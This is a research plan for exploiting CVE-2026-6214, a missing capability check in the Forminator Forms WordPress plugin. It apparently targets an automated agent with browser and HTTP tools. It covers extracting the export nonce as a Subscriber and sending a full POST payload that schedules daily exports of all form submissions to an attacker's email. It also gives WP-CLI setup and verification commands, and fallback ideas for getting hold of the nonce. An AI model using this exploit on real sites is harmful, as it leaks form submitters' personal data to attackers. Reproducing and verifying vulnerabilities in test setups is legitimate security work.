Research Plan - CVE-2026-6214 - Forminator Forms Scheduled Export Missing Authorization

Vulnerability Summary

The Forminator Forms plugin (<= 1.53.0) contains a missing authorization vulnerability in the Forminator_Export::listen_for_saving_export_schedule() function. This function is hooked to wp_loaded and handles the configuration of scheduled entry exports via email. While it verifies a WordPress nonce, it fails to perform any capability checks (such as forminator_is_user_allowed('forminator-entries')). Consequently, any authenticated user (Subscriber level and above) who can obtain a valid nonce can configure a scheduled export job to send all form submissions to an arbitrary email address.

Attack Vector Analysis

• Endpoint: Any WordPress URL that triggers wp_loaded, typically /wp-admin/admin-ajax.php.
• Action: forminator_export_entries (passed via $_POST['action']).
• Required Authentication: Subscriber-level account.
• Vulnerable Code: library/class-export.php in listen_for_saving_export_schedule().
• Payload Parameters:
  • action: forminator_export_entries
  • _forminator_nonce: Nonce generated for the forminator_export action.
  • form_id: The ID of the form to export.
  • form_type: Usually form (could be poll or quiz).
  • enabled: true (to activate the schedule).
  • email[]: The attacker's email address to receive the CSV exports.
  • interval: daily, weekly, or monthly.
  • hour: HH:MM (e.g., 00:00).

Code Flow

1. Entry Point: Forminator_Export::__construct() registers add_action( 'wp_loaded', array( &$this, 'listen_for_saving_export_schedule' ) );.
2. Action Trigger: The function checks if Forminator_Core::sanitize_text_field( 'action' ) equals forminator_export_entries.
3. Nonce Verification: It verifies _forminator_nonce against the action forminator_export.
4. Missing Check: Unlike listen_for_csv_export(), it does not call forminator_is_user_allowed( 'forminator-entries' ).
5. State Modification: The function proceeds to update the forminator_entries_export_schedule option with the attacker-supplied email and schedule configuration.

Nonce Acquisition Strategy

The nonce for forminator_export is required. In Forminator, nonces are often localized into the forminatorData JavaScript object and enqueued for authenticated users in the admin dashboard.

1. Access Dashboard: Log in as a Subscriber and navigate to /wp-admin/.
2. Identify Nonce: Forminator often localizes nonces in admin/classes/class-admin-data.php.
3. Extraction:
   • Use browser_navigate to go to /wp-admin/.
   • Use browser_eval to extract the nonce.
   • The nonce for exports is typically found in window.forminatorData.formExportNonce or a similar key.
   • Note: If the key formExportNonce corresponds to forminator_popup_export_form, verify if the listen_for_saving_export_schedule function accepts it. If the plugin uses a common nonce for all export actions, any of formExportNonce, pollExportNonce, or quizExportNonce might work if they map to the forminator_export action.
   • Confirmed Identifier: Based on library/class-export.php, the server expects wp_verify_nonce( $nonce, 'forminator_export' ).

Exploitation Strategy

1. Preparation:
   • Ensure a form (e.g., ID 1) exists with some submissions.
2. Login: Authenticate as a Subscriber.
3. Nonce Fetch:
   • Navigate to /wp-admin/.
   • Execute browser_eval("window.forminatorData?.formExportNonce").
   • If null, grep the page source for forminator_export.
4. Execution:
   • Use http_request to send a POST request to /wp-admin/admin-ajax.php.
5. Payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=forminator_export_entries&_forminator_nonce=[NONCE]&form_id=1&form_type=form&enabled=true&email[]=attacker@example.com&interval=daily&hour=00:00
   

Test Data Setup

1. Create Form: Use WP-CLI to ensure at least one Forminator form exists.

   # Create a simple form if one doesn't exist
   wp post create --post_type=forminator_forms --post_title="Sensitive Data Form" --post_status=publish
   

2. Add Submissions: Submit the form once to ensure there is data to export.
3. Create Attacker: Create a subscriber user.

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

Expected Results

• The server should return a redirect (302) or a success message (depending on the specific version's response logic in listen_for_saving_export_schedule).
• If successful, the redirection URL will not contain the err_msg parameter for "Invalid request".

Verification Steps

1. Check Database: Use WP-CLI to inspect the scheduled export configuration.

   wp option get forminator_entries_export_schedule
   

2. Verify Content: Ensure the option contains attacker@example.com for the corresponding form_id.

Alternative Approaches

If formExportNonce is not accessible to Subscribers on the general dashboard:

1. Check Page Source: Look for other enqueued scripts or localized data on any /wp-admin/ page.
2. Bypass Check: Verify if _forminator_nonce is strictly required. In some versions, if the nonce is missing and the user is authenticated, the behavior might differ, though the code suggests it is required.
3. Referer Trick: If the redirection logic is used, check if the plugin leaks the nonce in any error messages or redirect parameters.